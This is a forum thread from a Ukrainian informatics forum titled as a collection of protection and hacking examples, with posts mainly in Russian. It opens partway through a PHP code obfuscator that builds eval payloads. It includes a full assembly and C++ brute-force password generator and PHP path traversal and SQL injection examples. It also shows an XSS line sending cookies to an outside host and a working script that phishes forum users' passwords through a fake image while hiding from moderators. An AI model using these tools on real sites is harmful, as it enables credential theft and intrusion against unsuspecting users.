die("Conversion impossible (can't find match for '".$text[$i]."')");

$func = $functions[ mt_rand()%count($functions) ];

switch(mt_rand()%4)
{
case 0:
$encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
break;
case 1:
$encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
break;
case 2:
$encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
case 3:
$encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
}

preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);
}

switch(mt_rand()%3)
{
case 0:
$encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
break;
case 1:
$encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
break;
case 2:
$encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
break;
}

return $encode;
}

$c = process_text("license", "i", $license, $text);

echo "<pre>$c</pre>";
echo "<p>";
eval($c);
?>

НІКОЛЯ Дата: Пт, 10.12.2010, 18:47 | Повідомлення № 6
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
В данном посте мы рассмотрим один аспект перебора паролей, на котором обычно не заостряют внимание при написании программ-брутфорсеров (программ для подбора паролей), а именно - непосредственно сам инкремент пароля, т.е. формирование следующего пароля для его анализа.

Конечно, если проверка пароля (т.е. "тело" программы перебора) выполняется тысячи, десятки тысяч или же миллионы тактов процессора, то можно использовать любой способ инкремента пароля - заметного изменения скорости не будет. Но когда на проверку пароля уходит всего 150...300 тактов процессора и нам нужно быстро сформировать новый пароль, то, конечно же, вопрос оптимального инкремента пароля становится очень и очень актуальным.

Сразу оговорюсь, что рассматриваться будет именно вариант полного перебора всех паролей, без семантического анализа рядом стоящих букв, не используя перебор по маске, гибридный перебор и т.д. Т.е., мы собираемся последовательно перебирать комбинации "A", "B", ... "Z", затем - "AA" и т.д.

И еще одно условие - изменяемым символом в наших комбинациях будет первый символ пароля, а не последний, т.е. комбинации будут вида:
AAA
BAA
CAA
...
а не
AAA
AAB
AAC
...

Это существенно упрощает код инкремента пароля, да и, в принципе, нет особой разницы в том - слева или справа менять символы. Нам ведь главное - сделать это максимально быстро, не так ли? А, желательно, еще и компактно. :)

Способов инкремента пароля существует немало. Самым распространенным является "индексный" метод инкремента, когда пароль представлен в виде индексов используемых символов. Т.е. при алфавите "ABCDEFGHIJKLMNOPQRSTUVWXYZ" пароль ADMIN будет представлять собой массив значений {1, 4, 13, 9, 14, 0}, где ноль - конец пароля. Или же массив вида {0, 3, 12, 8, 13}, если для хранения длины пароля используется дополнительная переменная.

Данный метод, конечно же, является неплохим, но автор предлагает рассмотреть другой метод, называемый "циклическим" (и ниже мы рассмотрим, почему он так назван).

Этот метод, помимо того, что является крайне быстрым, является еще и очень компактным инкрементом, что с успехом позволяет использовать его как в крупных проектах, так и миниатюрных программках, где необходим перебор паролей. Также в этом варианте "накладные расходы" на изменение длины пароля и изменение некрайнего символа также минимальны.

Данный метод с успехом применяется во всех программах перебора паролей на сайте www.InsidePro.com.

Примеры кода будут даны в синтаксисе языка Ассемблер, встроенного в Visual C++ 6.0 и, соответственно, самого языка C++ 6.0.

Итак, что мы имеем:

static char szPassword[256]; // Буфер для хранения текущего пароля
static char szAlphabet[256]; // Алфавит, т.е. набор символов для перебора
...
strcpy(szAlphabet, "ABC"); // Для примера возьмем короткий алфавит "ABC"
ZeroMemory(szPassword, sizeof(szPassword)); // Начинаем перебирать с пустого пароля
...
Нам нужно:

получить символ "A";
записать его в ячейку szPassword[0];
затем получить следующий символ - "B";
также записать его вместо "A";
получить символ "C";
записать его вместо "B";
определить, что мы дошли до конца алфавита;
взять заново первый символ "A"
записать его в ячейку szPassword[0];
проверить ячейку szPassword[1];
если там ноль, то изменилась длина пароля, поэтому пишем туда символ "A";
если там НЕ ноль, то инкремент этого символа;
и так далее...
Идея нашего инкремента следующая - попробуем-ка мы получать следующий символ ("B", к примеру) автоматически на основе того, что мы знаем предыдущий символ - "A".

Для этого нам нужно, чтобы символ "A" был как-то связан с символов "B". Может, в виде таблицы? Или же ... да-да, нам нужна именно таблица, в которой по адресу 65 (код символа "A") будет расположен сам символ "B"!

Поэтому строим таблицу (массив bAlphabet) размером 256 байт следующего вида:

0-й байт = код символа "A", т.е. 65
65-й байт = код символа "B", т.е. 66
66-й байт = код символа "C", т.е. 67
67-й байт = ноль.
(все остальные байты не важны, т.к. к ним обращений не будет)
Тогда перебор символов (в развернутом виде) будет происходить следующим образом:

mov ebx,offset bAlphabet // Адрес нашей таблицы
xor eax,eax // В AL - ноль
movzx eax,byte ptr [ebx+eax] // В AL - символ "A"
movzx eax,byte ptr [ebx+eax] // В AL - символ "B"
movzx eax,byte ptr [ebx+eax] // В AL - символ "C"
movzx eax,byte ptr [ebx+eax] // В AL - ноль
movzx eax,byte ptr [ebx+eax] // В AL - снова символ "A"
... // И так далее
(Примечание: использование команд "xor eax,eax" и "movxz eax,..." вместо "mov al,0" и "mov al,[ebx+eax] позволяет избежать больших штрафов на процессорах Intel, возникающих при чтении 32-битного регистра после модификации его 8-битной части).

Или же, используя однобайтовую команду XLAT, наш пример будет выглядеть так:

mov ebx,offset bAlphabet
xor eax,eax
xlat // В AL - символ "A"
xlat // В AL - символ "B"
xlat // В AL - символ "C"
xlat // В AL - ноль
xlat // В AL - снова символ "A"
... // И так далее
Таким образом, мы видим, что без лишних команд сравнения (хотя они, конечно, потом понадобятся, но их будет всего две) и лишнего кода мы осуществляем циклический "обход" символов нашего алфавита, причем переход от последнего символа к первому происходит автоматически!

Код для инициализации нашей таблицы может быть, к примеру, таким:

static unsigned char bAlphabet[256];
...
int i = 0, k = 0;
ZeroMemory(bAlphabet, sizeof(bAlphabet));
while (TRUE)
{
bAlphabet[k] = (unsigned char)szAlphabet[i];
if (!szAlphabet[i])
break;
k = (unsigned char)szAlphabet[i];
i++;
}
Также нам необходимо проверить алфавит, задаваемый пользователем, на предмет одинаковых символов, т.к. при построении такой таблицы с алфавитом "ABCADEF", к примеру, будет происходить следующее - после символа "A" получим символ "B", затем - "C", после него - "A" и вместо ожидаемого "D" мы снова выйдем на символ "B" и т.д. Таким образом, часть алфавита после второго символа "A" будет просто проигнорирована и нам необходимо перед перебором проанализировать алфавит и просто удалить повторные вхождения одинаковых символов.

Теперь же приведем полный код циклического инкремента с подробными комментариями:

__asm
{
L0:
...
// Проверка пароля, т.е. тело программы-брутфорсера
...

mov edi,offset szPassword // Адрес строки с паролем
mov ebx,offset bAlphabet // Адрес таблицы
L1: movzx eax,byte ptr [edi] // Текущий символ пароля
cmp al,0 // Не изменилась ли длина пароля?
je L4
L2: xlatb // Следующий символ пароля
cmp al,0 // Не последний ли символ алфавита?
je L3
mov [edi],al // Новый символ пароля
...
// Инкремент кол-ва обработанных паролей и другой завершающий код
...
jmp L0 // На начало глобального цикла

L3: xlatb // AL = снова первый символ алфавита
stosb // Его сохранение в [EDI], инкремент EDI
jmp L1

L4: inc dword ptr [nLen] // Увеличение длины пароля
jmp L2
}
Если же нам проверка на изменение длины пароля не нужна (может быть, мы перебираем до нажатия пользователем Ctrl+С, или же до установки какого-либо флажка, или же просто останавливаем наш поток по внешнему воздействию и пр.), то наш код можно упростить:

...
mov edi,offset szPassword
mov ebx,offset bAlphabet
L1: movzx eax,byte ptr [edi]
xlat
cmp al,0
je L3
mov [edi],al
...
// Инкремент кол-ва обработанных паролей и другой завершающий код
...
jmp L0

L3: xlatb
stosb
jmp L1
Ну как? ;)

Затрачено каких-то 25 байт и у нас полноценный перебор паролей из любых 8-битных символов (в том числе и служебных 0x01...0x1F) и с любого начального пароля (при условии, что он состоит из символов нашего алфавита). Добавляем еще несколько байт и мы можем отслеживать длину текущего пароля!

Теперь посмотрим на время, затраченное на инкремент пароля.

Но сразу оговоримся, что если время исполнения нам более важно, чем объем кода, то сделаем следующую замену на более быстрый код: команды "mov ebx,offset bAlphabet" и "xlat" заменим на команду "movzx eax,byte ptr [bAlphabet+eax]".

Тогда переход от комбинации "A" к "B" будет таким (по командам):

...
mov edi,offset szPassword // Адрес пароля
L1: movzx eax,byte ptr [edi] // Текущий символ пароля - "A"
movzx eax,byte ptr [bAlphabet+eax] // В AL - следующий символ пароля, т.е. "B"
cmp al,0 // У нас НЕ равно нулю
je L3 // Переход не происходит
mov [edi],al // Сохраняем новый символ "B" вместо "A"
...
Смотрите - всего 6 команд процессора.
На большинстве процессоров такой код исполнится за ... 4-5 тактов. :)
Вы можете измерить это время и сами, вставив до и после этого кода команды RDTSC.
А вот почему это происходит:

Нет ни одного ветвления, а значит нет и лишних штрафов на ошибочное предсказание ветвления, на повторное заполнение конвейера и т.д.
Все приведенные команды - очень простые и большинство процессоров декодируют их в одну микрокоманду, что позволит одновременно декодировать до нескольких таких команд, и, как следствие, очень эффективно их исполнять.
Более того - в реальном коде декодирование (и исполнение) подобных простых команд тесно связано с последующим и предыдущим кодом, что может снизить среднее время выполнения этих 6 команд до 3-4 тактов.

Итак, 3-4 такта на замену одного пароля другим - совсем даже неплохой результат.

Но, конечно же, можно развивать эту тему и дальше - если основной код перебора (т.е. непосредственной проверки пароля - верный он или нет), написанный на Ассемблере, построить так, что текущий символ пароля (который оставался в регистре AL) сохранять на протяжении всего цикла перебора (конечно же, для этого можно использовать и другой регистр), тогда нам не придется его же считывать из памяти заново, что даст совокупную экономию еще в один такт!

Теперь поговорим о "накладных расходах", возникающих при переходе на соседний символ и при изменении длины пароля. Это тоже немаловажный вопрос, т.к. если на эти переходы будет затрачено 20-30 тактов (к примеру), то при длине алфавита в 26 символов среднее время инкремента пароля увеличится на 1 такт. А если больше 20-30 тактов?

Здесь нужен более сложный подход, чем при простом переходе от "A" к "B", но все-таки мы дадим несколько рекомендаций для снижения временных затрат.

Вместо второй команды "xlat" (более компактной) применим команду "movzx eax,byte ptr [bAlphabet+eax]".
Вместо команды "stosb" (тоже более компактной) применим пару команд "mov [edi],al" и "inc edi".
Адрес метки L1 должен быть кратен 32 байтам.
Или же вместо выравнивания метки L1 "развернуть" этот мини-цикл и не делать перехода назад, а использовать "копию" кода, находящегося по адресу L1.
И т.п.
И в итоге - немного арифметики.

Пусть среднее время цикла проверки одного пароля - 300 тактов процессора.
Тогда средняя скорость перебора на процессоре частотой 1 ГГц составит 3,33 миллиона паролей/сек.
При уменьшении времени цикла на 10 тактов (к примеру, за счет наших ухищрений) мы получим 290 тактов и среднюю скорость около 3,45 миллионов п/с.
Разница: ~110 тысяч паролей в секунду!

Видите - снизив время, затраченное на работу с одним паролем, всего лишь на несколько тактов, ваша программа сможет перебирать быстрее на сотню (или даже сотни) тысяч паролей в секунду!

И еще один совет, касающийся подсчета количества обработанных паролей.

Да-да, читатель может сказать, что тут-то и так все ясно. Конечно, ясно, но и здесь можно выиграть пару-тройку тактов (если мы стремимся максимально оптимизировать процесс перебора).

Для накопления количества перебранных паролей обычно используется две переменных типа DWORD, т.к. при больших скоростях (миллионы паролей/сек) 4 миллиарда паролей (размер типа данных DWORD) будут обработаны за несколько десятков минут, что, конечно же, явно недостаточно.

Итак, обычно счетчик паролей увеличивают так:

DWORD dwLow, dwHigh;
...
dwLow++;
if (dwLow == 0)
dwHigh++;
Или, на Ассемблере:

inc dword ptr [dwLow]
jnz L1
inc dword ptr [dwHigh] L1: ...
Что мы видим - 3 команды, из которых одна - команда проверки, причем практически всегда результат проверки будет TRUE и процессору придется "перепрыгивать" на команду по адресу L1, что влечет за собой штрафы и перезаполнение конвейера.

Либо же сделать проверку не JNZ, а JZ, перенести по адресу L1 команду "inc dword ptr [dwHigh]" и добавить еще одну команду - JMP обратно...

Но можно сделать такой трюк, используя следующую пару команд:

...
add dword ptr [dwLow],1
adc dword ptr [dwHigh],0
...
В первой команде мы инкрементируем младший DWORD счетчика, а во второй - увеличиваем старший DWORD на ... ноль? Да, на ноль, но только если не было переполнения младшего DWORD'a счетчика. Если же оно было, то включится флаг переноса "C" и команда ADC прибавит в значению dwHigh ноль и значение этого флага, т.е. единицу. Что нам и нужно.

И декодируется/выполняется наша пара команд за ... 1 такт. :)

Кстати, хитрые парни из Microsoft тоже не зря получают свою зарплату. :)
Если в Visual C++ 6.0 написать следующий код:

...
unsigned __int64 qwCount; // Сразу используем переменную типа QWORD
...
qwCount++;
...
и сделать компиляцию с оптимизацией (не забудьте включить создание ASM-листинга), то вы можете увидеть, что команда "qwCount++;" откомпилируется в ту же пару команд ADD/ADC. Причем, это явно не "могучий интеллект" компилятора, а одна из "изюминок" оптимизации, заранее заложенных в компилятор его разработчиками.

Автор будет рад, если приведенные выше примеры позволят хоть на чуть-чуть, но увеличить скорость работы ваших программ, а также, если у вас получится и дальше развить показанные выше идеи оптимизации перебора паролей.

Удачи всем!

Листинг 1. Программа генерации паролей.
Для ее использования откройте пустой проект (Win32 Console Application) в пакете Visual Studio 6.0, создайте новый CPP-файл и скопируйте в него следующий код:
(Примечание: если вы проинициализируете строку szPassword своим паролем, состоящим из символов алфавита szAlphabet, то программа начнет инкрементировать пароль именно с него).

#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
static char szPassword[256];
ZeroMemory(szPassword, sizeof(szPassword));

static char szAlphabet[256];
strcpy(szAlphabet, "ABC");

static unsigned char bAlphabet[256];
ZeroMemory(bAlphabet, sizeof(bAlphabet));

int i = 0, k = 0;
while (TRUE)
{
bAlphabet[k] = (unsigned char)szAlphabet[i];
if (!szAlphabet[i])
break;
k = (unsigned char)szAlphabet[i];
i++;
}

while (TRUE)
{
__asm
{
pushad
mov edi,offset szPassword
mov ebx,offset bAlphabet
L1: movzx eax,byte ptr [edi]
xlat
cmp al,0
je L3
mov [edi],al
jmp L5

L3: xlat
stosb
jmp L1

L5: popad
}
printf("%s\n", szPassword);
}
return 0;
}

pet Дата: Пт, 10.12.2010, 22:55 | Повідомлення № 7
Патріот
Повідомлень: 613
Нагороди: 2
Рейтинг: 23
ну і шо???.... Якщо хтось думає шо я дочитав і розібрався, то даремно B)
Мдя...загрузив НІКОЛЯ, ;)
НІКОЛЯ Дата: Пт, 10.12.2010, 23:14 | Повідомлення № 8
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Quote (pet)
Мдя...загрузив НІКОЛЯ

Надалі буду зовсім в простій формі і в картинках як всі люблять ;)
pasichov Дата: Сб, 11.12.2010, 14:14 | Повідомлення № 9
Наполегливий учасник
Повідомлень: 946
Нагороди: 3
Рейтинг: 70
НІКОЛЯ, а, власне, з якою метою ви розміщуєте подібну інформацію, адже вона не є а ні секретною, а ні оригінальною для тих, хто цим займається?З іншого боку, вона є незрозумілою для вебмайстрів-початківців, які роблять перші кроки по створенню власних сайтів (а саме такими є більшість форумчан, що гріха таїти), а отже не допоможе їм убезпечити свої "безсмертні" творіння (чи допоможе дуже мало... скоріше налякає). Відповідь знахожу лише одну - це повиннно стимулювати початківців до підвищення свого рівня. Чи я помиляюся?
Якщо навідь і не помиляюся, то спосіб (ІМХО) сунівний. Якщо людина не знає основ програмування і не може написати розв"язок простої задачі на Паскалі (типу завдань зі збірника для ДПА) то навряд ця людина в вже не юному віці стане спецом по секюретносі або крутим хакером. Та й паролі підбиратиме все рівно такі, щоб не забути, а не щоб не хакнули...
dpi Дата: Сб, 11.12.2010, 22:40 | Повідомлення № 10
Досвідчений вчитель
Повідомлень: 1438
Нагороди: 1
Рейтинг: 39
Мне было интересно, спасибо.
Самому искать этот материал некогда.
НІКОЛЯ Дата: Нд, 12.12.2010, 23:03 | Повідомлення № 11
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Quote (pasichov)
НІКОЛЯ, а, власне, з якою метою ви розміщуєте подібну інформацію

Мета в нас однакова несем освіту в маси ;) це як дві сторони монети, як плюс і мінус, як янь і інь. Є поговорка. Треба знати проти чого боротись щоб як лоху ненапоротись. B)
Переглядати матеріал чи непереглядати особиста справа кожного , кому неподобається зверху в шапці великими буквами написано ГУЛЯТИ МИМО. А для тих хто невміє читати бачу треба буде в шапку зашить голосовий коментар теми B)
НІКОЛЯ Дата: Пн, 13.12.2010, 09:35 | Повідомлення № 12
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Основные методы взлома и защиты скриптов на Php

Имена файлов в URL
Большинство скриптов используют вспомогательные файлы, которые должны быть загружены в зависимости от выполняемой операции. В большинстве случаев имена файлов фиксированные, но в некоторых случаях это не удобно. Для загрузки не фиксированных файлов используют GET переменные (полученные из форм браузера), которые содержат информацию для загрузки файлов.
Включаемы файлы. Простейший пример

PHP код:
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
include "page/$p";

Обращение к скрипту выглядит так:
.../index.php?p=news.php
Уязвимость заключается в том, что можно прочитать произвольные файлы на сервере.
.../index,php?p=../../../../../etc/passwd
На данный момент etc/passwd предоставляет мало интереса, по сравнению со старыми версиями LUNIX, эту уязвимость можно применить для отображения .htaccess файлов, файлов конфигурации и т.д.
Попытка защиты.

PHP код:
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
include "page/$p.php";

Это блокирует загрузку etc/passwd и .htaccess, но можно вызвать скрипт с параметром
.../index.php?p=../index
Вызовет зацикливание скрипта, так же можно подключить служебные файлы, расположенные в закрытой директории.
Включаемые файлы: allow_url_fopen

PHP код:
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
chdir("page");
include "$p.php";

В этом скрипте возможно выполнение удаленного файла на сервере
.../index.php?p=http://user.ru/load
Не чего хорошего от этого ожидать не приходится, для того что бы запретить удаленный include файлов нужно указать в настройках php.ini allow_url_fopen=OFF, однако это блокирует fopen() и file_get_contents().
Методы разрешения.
Во многих статьях написано, что рекомендуется использовать оператор switch, но использовать его не удобно по следующим причинам: при добавлении новой страницы придется редактировать index.php; пропустив случайно break, придется долго искать, в чем же ошибка.
Наиболее рациональный способом является Ограничение набора символов, который жестко ограничивает диапазон символов, которые могут присутствовать в имени файла.

PHP код:
$ras="php";
chdir("page");
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
$p=preg_replace('/[^a-z0-9_-]+/s','',$p);
if(!@is_file("$p.$ras")) $p="error";
include "$p.$ext";

SQL-Injection
Функции PHP для работы с базами данных далеки от совершенства, работая на прямую с ними, возможны ошибки, приводящие к появлению уязвимостей.
Для примера возьмем такой код:

PHP код:
$sql="DELETE FROM".TOPICS_TABLE."
WHERE topic_id='$topic_id'
OR topic_moved_id='$topic_id'";
if(!($result=$db->sql_query($sql)))
{
messge_die(GENERAL_ERROR, 'Error in deleting post',
'',_LINE_,_FILE_,$sql);
}

Переменная $topic_id приходит из формы, если подставить index.php?topic_id=1’+OR+1!=’
В результате запроса превратится в такой вид:

PHP код:
DELETE FROM php_topics
WHERE topic_id='1' OR 1!=''
OR topic_moved_id='1' OR 1!=''

При выполнении скрипта, очисться вся таблица в базе данных. Значение переменных вставляется не в качестве данных, а в качестве участка sql-кода, который и будет затем выполнен.
Предыдущий скрипт следует записать таким образом:

PHP код:
$sql="DELETE FROM".TOPICS_TABLE."
WHERE topic_id='".addslashes($topic_id)."'
OR topic_moved_id='".addslashes($topic_id)."'";
if(!($result=$db->sql_query($sql)))
{
messge_die(GENERAL_ERROR, 'Error in deleting post',
'',_LINE_,_FILE_,$sql);
}

Используя функцию addslashes(), которая экранирует символы «'».
Недостатки magic_quotrs_gpc.
Используя magic_quotrs_gpc все пришедшие переменные из формы, уже содержат слеши перед опасными символами( например «’» и «”»).

PHP код:
<form action="<?=$_SERVER['SCRIPT_NAME']?>">
<input type="text" name="n"
value="<?=@htmlspecialchars(stripslashes($_REQUESR['n']))?>">
<input type="submet">
</form>

Допустим, что хостер выключил magic_quotrs_gpc, и отправив anti\’s мы получим anti’s, слеш потерялся из-за stripslashes(), отсюда следует делать проверку на вызов stripslashes(), если ключен magic_quotrs_gpc.
Решение есть уже давно, вместо экранирования и вставки переменных в запрос на их место помещаются специальные маркеры, вот эти функции:

PHP код:
function mysql_qw() {
$args = func_get_args();
$conn = null;
if (is_resource($args[0])) $conn = array_shift($args);
$query = call_user_func_array("mysql_make_qw", $args);
return $conn!==null? mysql_query($query, $conn) : mysql_query($query);
}
function mysql_make_qw() {
$args = func_get_args();
$tmpl =& $args[0];
$tmpl = str_replace("%", "%%", $tmpl);
$tmpl = str_replace("?", "%s", $tmpl);
foreach ($args as $i=>$v) {
if (!$i) continue;
if (is_int($v)) continue;
$args[$i] = "'".mysql_escape_string($v)."'";
}
for ($i=$c=count($args)-1; $i<$c+20; $i++)
$args[$i+1] = "UNKNOWN_PLACEHOLDER_$i";
return call_user_func_array("sprintf", $args);
}

Вот не большой пример.

PHP код:
$name="' OR '1";
//Допустимы запрос
echo mysql_make_qw('DELETE FROM people WHERE name=?', $name)."<br>"
//Недопустимый запрос
echo mysql_make_qw('DELETE FROM people WHERE name=? OR ?', $name)."<br>"
mysql_qw('DELETE FROM people WHERE name=? OR ?', $name)
or die(mysql_error());

В результате получим:

PHP код:
DELETE FROM people WHERE name='\' OR \'1'
DELETE FROM people WHERE name='\' OR \'1 OR id=UNKTNOWN_PLACEHOLDER_1
Unknow column 'UNKNOWM_PLACEHOLDER_1' in 'where clause

Теперь любая попытка выполнить такого вида запроса заранее обречена на не удачу.

Кража SID
Я не буду описывать использование SID, а сразу о проблеме. Если узнать SID другого пользователя, можно подставить его в Cookies или подставить в URL, а последствия можно представить.
Случайное указание SID
Сам владелец сессии может оставить ее в виде ссылки в форуме или в гостевой книге, из которой не удален SID.Зайдя по этой ссылки, становишься владельцем SID. Конечно SID удаляется, если пользователь не проявляет ни какой деятельности.
Уязвимости в html-шаблонах
Например возьмем гостевую книгу, сообщения записываются в файл, допустим что тест с файла выводится без htmlspecialchars(), добавив в гостевую книгу

PHP код:
<script>window.open("http://snifer.ru/get.php?"+document.cookie,'new')</script>

Благодаря этому можно получить Cookies других пользователей.
Привязка Sid к IP-адресу
Этот метод привязки к ip очень распространен

PHP код:
$_SESSION['author']=true;
$_SESSION[‘ip’]=$_SERVER['REMOTE_ADDR'];

С крипт предоставляющий доступ к определенному ресурсу

PHP код:
if(!empty($_SESSION['author'] && $SESSION['ip']
!=@SERVER ['REMOTE_ADDR'])) {
//Доступ к ресурсу открыт
} else die("Доступа нет");

Конечно и у этого метода есть свои недостатки.

Противостоянии DoS-атакам
Перейдем сразу к дела, просто про DoS-атаки можно найти везде. Мы рассмотрим как можно противостоять DoS-атакам.
Ограничении ресурсов
Элементарную DoS-атаку может случайно выполнить любой пользователь, если запустит скрипт содержащий ошибку, что может привести к зацикливанию скрипта или захвату ресурсов сервера. Для решения, можно применять в скриптах директивы, которые можно установить не только ini.php, но и в скрипте используя функцию ini_set().
set_memory_limit() memory_limit()
Эти функции ограничивают максимальный объем памяти, который разрешено выделять скрипту. При превышение этого объема, скрипт принудительно завершается
max_execution_time() set_time_limit()
Ограничивают время работы сценария

НІКОЛЯ Дата: Пн, 13.12.2010, 09:40 | Повідомлення № 13
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Тырим пароль у юзера
Этот способ применяется к документам любого типа, значит, к картинкам он тоже применяется, да и даже к тем картинкам, которые расположены на веб-странице и даже на защищённой странице(которой многие люди доверяют), на страницах почтовых ящиков, форумов и чатов где имеется возможность вставлять картинки.

Из предыдущего предложения сделаем вывод: Если применить этот метод в почитании с СИ, может что-то получиться.

Первый способ: Стырить пароль у юзера. Это наиболее полезный способ.

Закинув такую картинку в обычный форум или чат можно выловить некоторое количество логинов и паролей юзеров.

И вот он скрипт.

PHP код:
<?php

header("Content-type: image/png");

$im = imagecreate(256, 64);

imagecolorallocate($im, 0, 0, 0);

$green_color = imagecolorallocate($im, 0, 255, 0);

imagerectangle($im, 0, 0, 255, 63, $green_color);

$login = $_SERVER['PHP_AUTH_USER'];

$pass = $_SERVER['PHP_AUTH_PW'];

if ((strlen($login)<3) || (strlen($pass)<1)){

Header('HTTP/1.1 401 Unauthorized');

Header('WWW-Authenticate: Basic realm="hidden"');

imagestring($im, 2, 64, 25, "You're not authorized!", $green_color);

} else {

imagestring($im, 2, 16, 16, "Your login is '$login', and", $green_color);

imagestring($im, 2, 16, 36, "your password is '$pass'", $green_color);

}

imagepng($im);

imagedestroy($im);

?>

Как только модератор это увидит, он сразу удалит эту картинку, если конечно он её увидит, для этого мы поставим фильтр, на IP адрес модера, для этого просто заменим эту строку

PHP код:
if ((strlen($login)<3) || (strlen($pass)<1)){

на

PHP код:
if (((strlen($login)<3) || (strlen($pass)<1)) && ($_SERVER['REMOTE_ADDR']<>'127.0.0.1')){

в данном случае 127.0.0.1 нужно заменить на реальный IP адрес модера, или модифицировать этот простенький скрипт, для фильтрации по спискам, думаю, если ты собераешся применять этот способ, значит, разберешься, как это сделать.

Ну и естественно нужно сохранить полученные данные

PHP код:
$fh=gzopen('pass.gz', 'a9');gzwrite($fh, "$login:$pass\n");gzclose($fh);

Если скрипт находится в корневой директории сайта, то лучше сохранять не в "pass.gz", а в "../pass.gz", чтобы нельзя было получить доступ к файлу из вэб.

Jokerz Дата: Пн, 13.12.2010, 11:50 | Повідомлення № 14
Хостер
Повідомлень: 1198
Нагороди: 4
Рейтинг: 102
Скажу так полезно для понимания хотя бы принципов взлома, для защиты.
Но противостоять бруту, снифферам и DoS просто. Все это закрыть и защитить можно за 10 минут. (имею ввиду на веб сервере).
Но все равно материал полезный, но более верно было бы создать раздел на форуме "Взлом и защита систем" и туда кидать статьи. А не в одну тему скидывать много материала причем разного рода. очень тяжко что либо найти.
НІКОЛЯ Дата: Пн, 13.12.2010, 17:45 | Повідомлення № 15
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Непитання! Порадюсь з адміністрацією думаю реалізуєм. ;)
Форум інформатиків » РОЗДІЛ ІХ: ІНТЕРНЕТ, МЕРЕЖІ, ХОСТІНГ » 9.8 Рубрика системного адміністратора » ЗАХИСТ ТА ПРИКЛАДИ ВЗЛОМУ ВСЬОГО ЧОГО ТІЛЬКИ МОЖЛИВО. (ФОРМАТ ОБГОВОРЕННЯ ВІЛЬНИЙ)
Сторінка 1 з 3123»
Пошук:


© Форум інформатиків України, 2007-2017.